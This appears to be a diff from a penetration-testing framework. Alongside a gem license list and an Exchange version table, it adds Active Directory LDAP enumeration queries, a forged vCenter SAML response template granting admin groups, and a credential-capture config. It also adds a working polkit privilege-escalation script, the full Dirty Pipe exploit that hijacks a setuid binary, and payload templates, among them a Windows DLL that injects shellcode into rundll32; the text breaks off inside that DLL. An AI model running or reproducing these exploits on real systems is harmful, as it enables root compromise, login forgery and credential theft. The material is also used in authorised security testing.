rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.37, "New BSD"
rex-text, 0.2.38, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.10.0, MIT
rspec-core, 3.10.1, MIT
rspec-expectations, 3.10.2, MIT
rspec-mocks, 3.10.2, MIT
rspec-rails, 5.1.0, MIT
rspec, 3.11.0, MIT
rspec-core, 3.11.0, MIT
rspec-expectations, 3.11.0, MIT
rspec-mocks, 3.11.1, MIT
rspec-rails, 5.1.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.10.3, MIT
rubocop, 1.25.0, MIT
rubocop-ast, 1.15.1, MIT
rspec-support, 3.11.0, MIT
rubocop, 1.30.1, MIT
rubocop-ast, 1.18.0, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.0.1, "New BSD"
ruby_smb, 3.1.6, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.8.2, MIT
sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 2.1.0, MIT
sinatra, 2.2.0, MIT
sqlite3, 1.4.2, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.8.1, "GPL-2.0+, ruby"
thor, 1.2.1, MIT
tilt, 2.0.10, MIT
timecop, 0.9.4, MIT
timecop, 0.9.5, MIT
timeout, 0.3.0, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 2.0.4, MIT
tzinfo-data, 1.2021.5, MIT
tzinfo-data, 1.2022.1, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8, MIT
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.1.0, MIT
unix-crypt, 1.3.0, BSD
warden, 1.2.9, MIT
@@ -188,9 +183,9 @@ webrick, 1.7.0, "ruby, Simplified BSD"
websocket-driver, 0.7.5, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
win32api, 0.1.0, unknown
windows_error, 0.1.3, BSD
windows_error, 0.1.4, BSD
winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.2, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
yard, 0.9.27, MIT
zeitwerk, 2.5.3, MIT
yard, 0.9.28, MIT
zeitwerk, 2.5.4, MIT
@@ -0,0 +1,98 @@
---
queries:
- action: ENUM_ALL_OBJECT_CLASS
description: 'Dump all objects containing any objectClass field.'
filter: '(objectClass=*)'
attributes:
- dn
- objectClass
- action: ENUM_ALL_OBJECT_CATEGORY
description: 'Dump all objects containing any objectCategory field.'
filter: '(objectCategory=*)'
attributes:
- dn
- objectCategory
- action: ENUM_ACCOUNTS
description: 'Dump info about all known user accounts in the domain.'
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368))'
attributes:
- dn
- name
- displayName
- samAccountName
- userPrincipalName
- userAccountControl
- homeDirectory
- homeDrive
- profilePath
- action: ENUM_COMPUTERS
description: 'Dump all objects containing an objectCategory of Computer.'
filter: '(objectCategory=Computer)'
attributes:
- dn
- displayName
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_DOMAIN_CONTROLLERS
description: 'Dump all known domain controllers.'
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
attributes:
- dn
- displayName
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_EXCHANGE_SERVERS
description: 'Dump info about all known Exchange servers.'
filter: '(&(objectClass=msExchExchangeServer)(!(objectClass=msExchExchangeServerPolicy)))'
attributes:
- dn
- displayName
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_EXCHANGE_RECIPIENTS
description: 'Dump info about all known Exchange recipients.'
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
attributes:
- dn
- mailNickname
- proxyAddresses
- name
- action: ENUM_GROUPS
description: 'Dump info about all known groups in the LDAP environment.'
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))'
attributes:
- dn
- name
- groupType
- memberof
- action: ENUM_ORGUNITS
description: 'Dump info about all known organizational units in the LDAP environment.'
filter: '(objectClass=organizationalUnit)'
attributes:
- dn
- displayName
- name
- description
- action: ENUM_ORGROLES
description: 'Dump info about all known organization roles in the LDAP environment.'
filter: '(objectClass=organizationalRole)'
attributes:
- dn
- displayName
- name
- description
@@ -0,0 +1,8 @@
---
queries:
# - action: SAMPLE_ACTION
# description: 'A description.'
# filter: '(objectClass=*)'
# attributes:
# - dn
# - objectClass
@@ -0,0 +1,55 @@
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://<%= vcenter_fqdn.encode(xml: :text) %>/ui/saml/websso/sso" ID="_<%= vcenter_saml_response_id.encode(xml: :text) %>" InResponseTo="<%= vcenter_saml_id.encode(xml: :text) %>" IssueInstant="<%= vcenter_saml_issue.encode(xml: :text) %>" Version="2.0">
<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">https://<%= vcenter_fqdn.encode(xml: :text) %>/websso/SAML2/Metadata/<%= vcenter_saml_domain.encode(xml: :text) %></saml2:Issuer>
<saml2p:Status>
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
<saml2p:StatusMessage>Request successful</saml2p:StatusMessage>
</saml2p:Status>
<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="_<%= vcenter_saml_assert_id.encode(xml: :text) %>" IssueInstant="<%= vcenter_saml_issue.encode(xml: :text) %>" Version="2.0">
<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://<%= vcenter_fqdn.encode(xml: :text) %>/websso/SAML2/Metadata/<%= vcenter_saml_domain.encode(xml: :text) %></saml2:Issuer>
<saml2:Subject>
<saml2:NameID Format="http://schemas.xmlsoap.org/claims/UPN"><%= vcenter_saml_user.encode(xml: :text) %>@<%= vcenter_saml_domain.encode(xml: :text) %></saml2:NameID>
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml2:SubjectConfirmationData InResponseTo="<%= vcenter_saml_id.encode(xml: :text) %>" NotOnOrAfter="<%= vcenter_saml_not_after.encode(xml: :text) %>" Recipient="https://<%= vcenter_fqdn.encode(xml: :text) %>/ui/saml/websso/sso"/>
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:Conditions NotBefore="<%= vcenter_saml_not_before.encode(xml: :text) %>" NotOnOrAfter="<%= vcenter_saml_not_after.encode(xml: :text) %>">
<saml2:ProxyRestriction Count="10"/>
<saml2:Condition xmlns:rsa="http://www.rsa.com/names/2009/12/std-ext/SAML2.0" Count="10" xsi:type="rsa:RenewRestrictionType"/>
<saml2:AudienceRestriction>
<saml2:Audience>https://<%= vcenter_fqdn.encode(xml: :text) %>/ui/saml/websso/metadata</saml2:Audience>
</saml2:AudienceRestriction>
</saml2:Conditions>
<saml2:AuthnStatement AuthnInstant="<%= vcenter_saml_issue.encode(xml: :text) %>" SessionIndex="_<%= vcenter_saml_idx_id.encode(xml: :text) %>" SessionNotOnOrAfter="<%= vcenter_saml_not_after.encode(xml: :text) %>">
<saml2:AuthnContext>
<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
</saml2:AuthnContext>
</saml2:AuthnStatement>
<saml2:AttributeStatement>
<saml2:Attribute FriendlyName="userPrincipalName" Name="http://schemas.xmlsoap.org/claims/UPN" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_user.encode(xml: :text) %>@<%= vcenter_saml_domain.encode(xml: :text) %></saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="Groups" Name="http://rsa.com/schemas/attr-names/2009/01/GroupIdentity" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\Users</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\Administrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\CAAdmins</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\ComponentManager.Administrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\SystemConfiguration.BashShellAdministrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\SystemConfiguration.ReadOnly</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\SystemConfiguration.SupportUsers</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\SystemConfiguration.Administrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\LicenseService.Administrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\Everyone</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="Subject Type" Name="http://vmware.com/schemas/attr-names/2011/07/isSolution" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string">false</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="surname" Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %></saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="givenName" Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_user.encode(xml: :text) %></saml2:AttributeValue>
</saml2:Attribute>
</saml2:AttributeStatement>
</saml2:Assertion>
</saml2p:Response>
+52
View File
@@ -0,0 +1,52 @@
spoof_regex: .*
ntlm_challenge: "1122334455667788"
ntlm_domain: anonymous
http_basic: no
ssl_cert: null
logfile: null
hashdir: null
services:
- type: DRDA
enabled: yes
- type: FTP
enabled: yes
- type: HTTP
enabled: yes
- type: HTTPS
enabled: yes
- type: IMAP
enabled: yes
- type: MSSQL
enabled: yes
- type: MySQL
enabled: yes
- type: POP3
enabled: yes
- type: Postgres
enabled: yes
- type: PrintJob
enabled: yes
- type: SIP
enabled: yes
- type: SMB
enabled: yes
- type: SMTP
enabled: yes
- type: Telnet
enabled: yes
- type: VNC
enabled: yes
- type: FTPS
enabled: yes
- type: IMAPS
enabled: yes
- type: POP3S
enabled: yes
- type: SMTPS
enabled: yes
- type: NBNS
enabled: yes
- type: LLMNR
enabled: yes
- type: mDNS
enabled: yes
+321
View File
@@ -0,0 +1,321 @@
{
"exchange_builds": [
{
"name": "Exchange Server 4.0",
"builds": [
"4.0.996",
"4.0.995",
"4.0.994",
"4.0.993",
"4.0.838",
"4.0.837"
],
"eol": true
},
{
"name": "Exchange Server 5.0",
"builds": [
"5.0.1460",
"5.0.1458",
"5.0.1457"
],
"eol": true
},
{
"name": "Exchange Server 5.5",
"builds": [
"5.5.2653",
"5.5.2650",
"5.5.2448",
"5.5.2232",
"5.5.1960"
],
"eol": true
},
{
"name": "Exchange Server 2000",
"builds": [
"6.0.6620.7",
"6.0.6620.5",
"6.0.6603",
"6.0.6556",
"6.0.6487",
"6.0.6249",
"6.0.5762",
"6.0.4712",
"6.0.4417"
],
"eol": true
},
{
"name": "Exchange Server 2003",
"builds": [
"6.5.7654.4",
"6.5.7653.33",
"6.5.7683",
"6.5.7226",
"6.5.6944"
],
"eol": true
},
{
"name": "Exchange Server 2007",
"builds": [
"8.3.517.0",
"8.3.502.0",
"8.3.485.1",
"8.3.468.0",
"8.3.459.0",
"8.3.445.0",
"8.3.417.1",
"8.3.406.0",
"8.3.389.2",
"8.3.379.2",
"8.3.348.2",
"8.3.342.4",
"8.3.327.1",
"8.3.298.3",
"8.3.297.2",
"8.3.279.6",
"8.3.279.5",
"8.3.279.3",
"8.3.264.0",
"8.3.245.2",
"8.3.213.1",
"8.3.192.1",
"8.3.159.2",
"8.3.137.3",
"8.3.106.2",
"8.3.83.6",
"8.2.305.3",
"8.2.254.0",
"8.2.247.2",
"8.2.234.1",
"8.2.217.3",
"8.2.176.2",
"8.1.436.0",
"8.1.393.1",
"8.1.375.2",
"8.1.359.2",
"8.1.340.1",
"8.1.336.1",
"8.1.311.3",
"8.1.291.2",
"8.1.278.2",
"8.1.263.1",
"8.1.240.6",
"8.0.813.0",
"8.0.783.2",
"8.0.754.0",
"8.0.744.0",
"8.0.730.1",
"8.0.711.2",
"8.0.708.3",
"8.0.685.25"
],
"eol": true
},
{
"name": "Exchange Server 2010",
"builds": [
"14.3.513.0",
"14.3.509.0",
"14.3.496.0",
"14.3.468.0",
"14.3.461.1",
"14.3.452.0",
"14.3.442.0",
"14.3.435.0",
"14.3.419.0",
"14.3.417.1",
"14.3.411.0",
"14.3.399.2",
"14.3.389.1",
"14.3.382.0",
"14.3.361.1",
"14.3.352.0",
"14.3.336.0",
"14.3.319.2",
"14.3.301.0",
"14.3.294.0",
"14.3.279.2",
"14.3.266.2",
"14.3.248.2",
"14.3.235.1",
"14.3.224.2",
"14.3.224.1",
"14.3.210.2",
"14.3.195.1",
"14.3.181.6",
"14.3.174.1",
"14.3.169.1",
"14.3.158.1",
"14.3.146.0",
"14.3.123.4",
"14.2.390.3",
"14.2.375.0",
"14.2.342.3",
"14.2.328.10",
"14.3.328.5",
"14.2.318.4",
"14.2.318.2",
"14.2.309.2",
"14.2.298.4",
"14.2.283.3",
"14.2.247.5",
"14.1.438.0",
"14.1.421.3",
"14.1.421.2",
"14.1.421.0",
"14.1.355.2",
"14.1.339.1",
"14.1.323.6",
"14.1.289.7",
"14.1.270.1",
"14.1.255.2",
"14.1.218.15",
"14.0.726.0",
"14.0.702.1",
"14.0.694.0",
"14.0.689.0",
"14.0.682.1",
"14.0.639.21"
],
"eol": true
},
{
"name": "Exchange Server 2013",
"builds": [
"15.0.1497.28",
"15.0.1497.26",
"15.0.1497.24",
"15.0.1497.23",
"15.0.1497.18",
"15.0.1497.15",
"15.0.1497.12",
"15.0.1497.2",
"15.0.1473.6",
"15.0.1473.3",
"15.0.1395.12",
"15.0.1395.4",
"15.0.1367.3",
"15.0.1365.1",
"15.0.1347.2",
"15.0.1320.4",
"15.0.1293.2",
"15.0.1263.5",
"15.0.1236.3",
"15.0.1210.3",
"15.0.1178.4",
"15.0.1156.6",
"15.0.1130.7",
"15.0.1104.5",
"15.0.1076.9",
"15.0.1044.25",
"15.0.995.29",
"15.0.913.22",
"15.0.847.64",
"15.0.847.32",
"15.0.775.38",
"15.0.712.24",
"15.0.620.29",
"15.0.516.32"
],
"eol": false
},
{
"name": "Exchange Server 2016",
"builds": [
"15.1.2375.18",
"15.1.2375.17",
"15.1.2375.12",
"15.1.2375.7",
"15.1.2308.21",
"15.1.2308.20",
"15.1.2308.15",
"15.1.2308.14",
"15.1.2308.8",
"15.1.2242.12",
"15.1.2242.10",
"15.1.2242.8",
"15.1.2242.4",
"15.1.2176.14",
"15.1.2176.12",
"15.1.2176.9",
"15.1.2176.2",
"15.1.2106.13",
"15.1.2106.2",
"15.1.2044.13",
"15.1.2044.4",
"15.1.1979.8",
"15.1.1979.3",
"15.1.1913.12",
"15.1.1913.5",
"15.1.1847.12",
"15.1.1847.3",
"15.1.1779.8",
"15.1.1779.2",
"15.1.1713.10",
"15.1.1713.5",
"15.1.1591.18",
"15.1.1591.10",
"15.1.1531.12",
"15.1.1531.3",
"15.1.1466.16",
"15.1.1466.3",
"15.1.1415.10",
"15.1.1415.2",
"15.1.1261.35",
"15.1.1034.26",
"15.1.845.34",
"15.1.669.32",
"15.1.544.27",
"15.1.466.34",
"15.1.396.30",
"15.1.225.42",
"15.1.225.16"
],
"eol": false
},
{
"name": "Exchange Server 2019",
"builds": [
"15.2.986.15",
"15.2.986.14",
"15.2.986.9",
"15.2.986.5",
"15.2.922.20",
"15.2.922.19",
"15.2.922.14",
"15.2.922.13",
"15.2.922.7",
"15.2.858.15",
"15.2.858.12",
"15.2.858.10",
"15.2.858.5",
"15.2.792.15",
"15.2.792.13",
"15.2.792.10",
"15.2.792.3",
"15.2.721.13",
"15.2.721.2",
"15.2.659.12",
"15.2.659.4",
"15.2.595.8",
"15.2.595.3",
"15.2.529.13",
"15.2.529.5",
"15.2.464.15",
"15.2.464.5",
"15.2.397.11",
"15.2.397.3",
"15.2.330.11",
"15.2.330.5",
"15.2.221.18",
"15.2.221.12",
"15.2.196.0"
],
"eol": false
}
]
}
Binary file not shown.
@@ -0,0 +1,30 @@
import subprocess
import sys
import os
import shutil
from ctypes import cdll, c_char_p, POINTER
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
polkit_bin = sys.argv[1].encode('latin-1')
payload_file = sys.argv[2]
random_string_1 = sys.argv[3]
random_string_2 = sys.argv[4]
file = open(random_string_1 + "/gconv-modules", 'w')
file.write("module UTF-8// " + random_string_2 + "// " + random_string_1 + " 2")
file.close()
argv = [None]
cmd = polkit_bin
env = [random_string_1.encode('latin-1')]
env.append(b"PATH=GCONV_PATH=.")
env.append(b"CHARSET=" + random_string_2.encode('latin-1'))
env.append(b"SHELL="+random_string_1.encode('latin-1'))
env.append(None)
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
libc.execve(cmd, cargv, cenvp)
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+185
View File
@@ -0,0 +1,185 @@
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>
#include <sys/wait.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 0x1000
#endif
uint8_t payload_bytes[PAGE_SIZE-1] = "PAYLOAD_PLACEHOLDER";
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int hax(const char *filename, off_t offset, uint8_t *data, size_t len) {
/* open the input file and validate the specified offset */
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return -1;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return -1;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return -1;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return -1;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, len);
if (nbytes < 0) {
perror("write failed");
return -1;
}
if ((size_t)nbytes < len) {
fprintf(stderr, "short write\n");
return -1;
}
close(fd);
return 0;
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s suid_binary\n", argv[0]);
return EXIT_FAILURE;
}
int run_check = 0;
char * suid_binary = argv[1];
printf("[+] dirtypipe %s\n", suid_binary);
size_t payload_size = sizeof(payload_bytes);
if (payload_bytes[0] == 'P' &&
payload_bytes[1] == 'A' &&
payload_bytes[2] == 'Y' &&
payload_bytes[3] == 'L') {
payload_size = strlen(payload_bytes);
printf("[+] using dud payload...\n");
run_check = 1;
}
int fd = open(suid_binary, O_RDONLY);
uint8_t * orig_bytes = malloc(payload_size);
lseek(fd, 1, SEEK_SET);
read(fd, orig_bytes, payload_size);
close(fd);
printf("[+] hijacking suid binary...\n");
if (hax(suid_binary, 1, payload_bytes, payload_size) != 0) {
printf("[+] overwrite failed\n");
return EXIT_FAILURE;
}
if (run_check) {
return EXIT_SUCCESS;
}
printf("[+] running suid payload...\n");
pid_t pid = fork();
if (pid < 0) {
printf("[-] fork failed...\n");
} else if (pid > 0) {
int status;
waitpid(pid, &status, 0);
} else {
char *args[] = {suid_binary, NULL, NULL};
execve(args[0], args, NULL);
exit(EXIT_FAILURE);
return 0;
}
printf("[+] restoring suid binary...\n");
if (hax(suid_binary, 1, orig_bytes, payload_size) != 0) {
printf("[-] restore failed\n");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
+9
View File
@@ -0,0 +1,9 @@
MUSL_CROSS=../../../../mettle/build/tools/musl-cross/bin/
all:
$(MUSL_CROSS)x86_64-linux-musl-gcc -static CVE-2022-0847.c -o CVE-2022-0847-x64
$(MUSL_CROSS)i486-linux-musl-gcc -static CVE-2022-0847.c -o CVE-2022-0847-x86
$(MUSL_CROSS)aarch64-linux-musl-gcc -static CVE-2022-0847.c -o CVE-2022-0847-aarch64
$(MUSL_CROSS)armv5l-linux-musleabi-gcc -static CVE-2022-0847.c -o CVE-2022-0847-armle
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,93 @@
; build with:
; nasm elf_dll_aarch64_template.s -f bin -o template_aarch64_linux_dll.bin
BITS 64
org 0
ehdr: ; Elf64_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 3 ; e_type = ET_DYN
dw 0xB7 ; e_machine = AARCH64
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq shdr - $$ ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw shentsize ; e_shentsize
dw 2 ; e_shnum
dw 1 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 7 ; p_flags = rwx
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq 0xDEADBEEF ; p_filesz
dq 0xDEADBEEF ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
dd 2 ; p_type = PT_DYNAMIC
dd 7 ; p_flags = rwx
dq dynsection ; p_offset
dq dynsection ; p_vaddr
dq dynsection ; p_vaddr
dq dynsz ; p_filesz
dq dynsz ; p_memsz
dq 0x1000 ; p_align
shdr:
dd 1 ; sh_name
dd 6 ; sh_type = SHT_DYNAMIC
dq 0 ; sh_flags
dq dynsection ; sh_addr
dq dynsection ; sh_offset
dq dynsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dq 8 ; sh_addralign
dq 7 ; sh_entsize
shentsize equ $ - shdr
dd 0 ; sh_name
dd 3 ; sh_type = SHT_STRTAB
dq 0 ; sh_flags
dq strtab ; sh_addr
dq strtab ; sh_offset
dq strtabsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dq 0 ; sh_addralign
dq 0 ; sh_entsize
dynsection:
; DT_INIT
dq 0x0c
dq _start
; DT_STRTAB
dq 0x05
dq strtab
; DT_SYMTAB
dq 0x06
dq strtab
; DT_STRSZ
dq 0x0a
dq 0
; DT_SYMENT
dq 0x0b
dq 0
; DT_NULL
dq 0x00
dq 0
dynsz equ $ - dynsection
strtab:
db 0
db 0
strtabsz equ $ - strtab
global _start
_start:
@@ -3,7 +3,7 @@
BITS 64
org 0
org 0x400000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
+144 -137
View File
@@ -1,137 +1,144 @@
#include <windows.h>
#include "template.h"
#if BUILDMODE == 2
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
#endif
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
// Use a combination semaphore / event to check if the payload is already running and when it is, don't start a new
// instance. This is to fix situations where the DLL is loaded multiple times into a host process and prevents the
// payload from being executed multiple times. An event object is used to determine if the payload is currently running
// in a child process. The event handle is created by this process (the parent) and configured to be inherited by the
// child. While the child process is running, the event handle can be successfully opened. When the child process exits,
// the event handle that was inherited from the parent will be automatically closed and subsequent calls to open it will
// fail. This indicates that the payload is no longer running and a new instance can be created.
BOOL Synchronize(void) {
BOOL bResult = TRUE;
BOOL bRelease = FALSE;
HANDLE hSemaphore = NULL;
HANDLE hEvent = NULL;
SECURITY_ATTRIBUTES SecurityAttributes;
// step 1: define security attributes that permit handle inheritance
SecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
SecurityAttributes.lpSecurityDescriptor = NULL;
SecurityAttributes.bInheritHandle = TRUE;
do {
// step 2: create a semaphore to synchronize this routine
if ((hSemaphore = CreateSemaphoreA(&SecurityAttributes, 1, 1, szSyncNameS)) == NULL) {
// if the semaphore creation fails, break out using the default TRUE result, this shouldn't happen
break;
}
bResult = FALSE;
// step 3: acquire the semaphore, if the operation timesout another instance is already running so exit
if (WaitForSingleObject(hSemaphore, 0) == WAIT_TIMEOUT) {
break;
}
bRelease = TRUE;
// step 4: check if the event already exists
if (hEvent = OpenEventA(READ_CONTROL | SYNCHRONIZE, TRUE, szSyncNameE)) {
// if the event already exists, do not continue
CloseHandle(hEvent);
break;
}
// step 5: if the event does not already exist, create a new one that will be inherited by the child process
if (hEvent = CreateEventA(&SecurityAttributes, TRUE, TRUE, szSyncNameE)) {
bResult = TRUE;
}
} while (FALSE);
// step 6: release and close the semaphore as necessary
if (hSemaphore) {
if (bRelease) {
ReleaseSemaphore(hSemaphore, 1, NULL);
}
CloseHandle(hSemaphore);
}
// *do not* close the event handle (hEvent), it needs to be inherited by the child process
return bResult;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
if (Synchronize()) {
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if (CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
